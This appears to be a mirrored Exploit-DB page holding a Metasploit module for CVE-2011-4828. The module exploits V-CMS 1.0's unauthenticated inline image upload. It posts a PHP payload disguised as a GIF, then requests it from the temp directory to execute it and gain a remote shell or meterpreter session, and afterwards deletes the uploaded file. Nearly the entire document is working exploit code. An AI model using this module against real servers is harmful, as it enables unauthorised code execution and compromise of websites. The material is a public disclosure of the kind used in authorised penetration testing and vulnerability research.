V-CMS – Arbitrary ‘.PHP’ File Upload / Execution (Metasploit)

  • 作者: Metasploit
    日期: 2012-04-14
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/18738/
  • ##
    # This file is part of the Metasploit Framework and may be subject to
    # redistribution and commercial restrictions. Please see the Metasploit
    # Framework web site for more information on licensing and terms of use.
    # http://metasploit.com/framework/
    ##
    
    require 'msf/core'
    
    class Metasploit3 < Msf::Exploit::Remote
    	Rank = ExcellentRanking
    
    	include Msf::Exploit::Remote::HttpClient
    
    	def initialize(info={})
    		super(update_info(info,
    			'Name' => "V-CMS PHP File Upload and Execute",
    			'Description'=> %q{
    					This module exploits a vulnerability found on V-CMS's inline image upload feature.
    				The problem is due to the inline_image_upload.php file not checking the file type
    				before saving it on the web server. This allows any malicious user to upload a
    				script (such as PHP) without authentication, and then execute it with a GET request.
    
    					The issue is fixed in 1.1 by checking the extension name.By default, 1.1 only
    				allows jpg, jpeg, png, gif, bmp, but it is still possible to upload a PHP file as
    				one of those extension names, which may still be leveraged in an attack.
    			},
    			'License'=> MSF_LICENSE,
    			'Author' =>
    				[
    					'AutoSec Tools',#Initial discovery
    					'sinn3r'#Metasploit
    				],
    			'References' =>
    				[
    					['CVE', '2011-4828'],
    					['BID', '50706'],
    					['URL', 'http://bugs.v-cms.org/view.php?id=53'],
    					['URL', 'http://xforce.iss.net/xforce/xfdb/71358']
    				],
    			'Payload'=>
    				{
    					'BadChars' => "\x00",
    				},
    			'DefaultOptions'=>
    				{
    					'ExitFunction' => "none"
    				},
    			'Platform' => 'php',
    			'Arch' => ARCH_PHP,
    			'Targets'=>
    				[
    					['V-CMS 1.0', {}],
    				],
    			'Privileged' => false,
    			'DisclosureDate' => "Nov 27 2011",#When the ticket was created
    			'DefaultTarget'=> 0))
    
    			register_options(
    				[
    					OptString.new('TARGETURI', [true, 'The URI path to dolibarr', '/vcms/'])
    				], self.class)
    	end
    
    	def check
    		res = send_request_raw({
    			'uri' => target_uri.path,
    			'method' => 'GET'
    		})
    
    		if res and res.body =~ /V\-CMS v1\.[0-1]/
    			return Exploit::CheckCode::Appears
    		else
    			return Exploit::CheckCode::Safe
    		end
    	end
    
    	def on_new_session(client)
    		if client.type == "meterpreter"
    			client.core.use("stdapi") if not client.ext.aliases.include?("stdapi")
    			client.fs.file.rm(@payload_name)
    		else
    			client.shell_command_token("rm #{@payload_name}")
    		end
    	end
    
    	def exploit
    		peer = "#{rhost}:#{rport}"
    
    		base = target_uri.path
    		base << '/' if base[-1,1] != '/'
    
    		@payload_name = "#{rand_text_alpha(5)}.php"
    		p = %Q|<?php
    		#{payload.encoded}
    		?>
    		|
    
    		p = p.gsub(/^\t\t/, '')
    
    		post_data = "------x\r\n"
    		post_data << "Content-Disposition: form-data; name=\"Filedata\"; filename=\"#{@payload_name}\"\r\n"
    		post_data << "Content-Type: image/gif\r\n"
    		post_data << "\r\n"
    		post_data << p
    		post_data << "------x--\r\n"
    
    		print_status("#{peer} Uploading payload: #{@payload_name}")
    		res = send_request_cgi({
    			'uri'=> "#{base}includes/inline_image_upload.php",
    			'method' => 'POST',
    			'ctype'=> 'multipart/form-data; boundary=----x',
    			'data' => post_data
    		})
    
    		if res
    			print_status("#{peer} replies status: #{res.code.to_s}")
    		else
    			print_error("#{peer} No response from server. Will not continue")
    			return
    		end
    
    		print_status("#{peer} Executing payload: #{@payload_name}")
    		res = send_request_raw({
    			'uri'=> "#{base}temp/#{@payload_name}",
    			'method' => 'GET'
    		})
    
    		if res and res.code == 404
    			print_error("#{peer} 404 - the upload probably failed")
    			return
    		end
    
    		handler
    	end
    end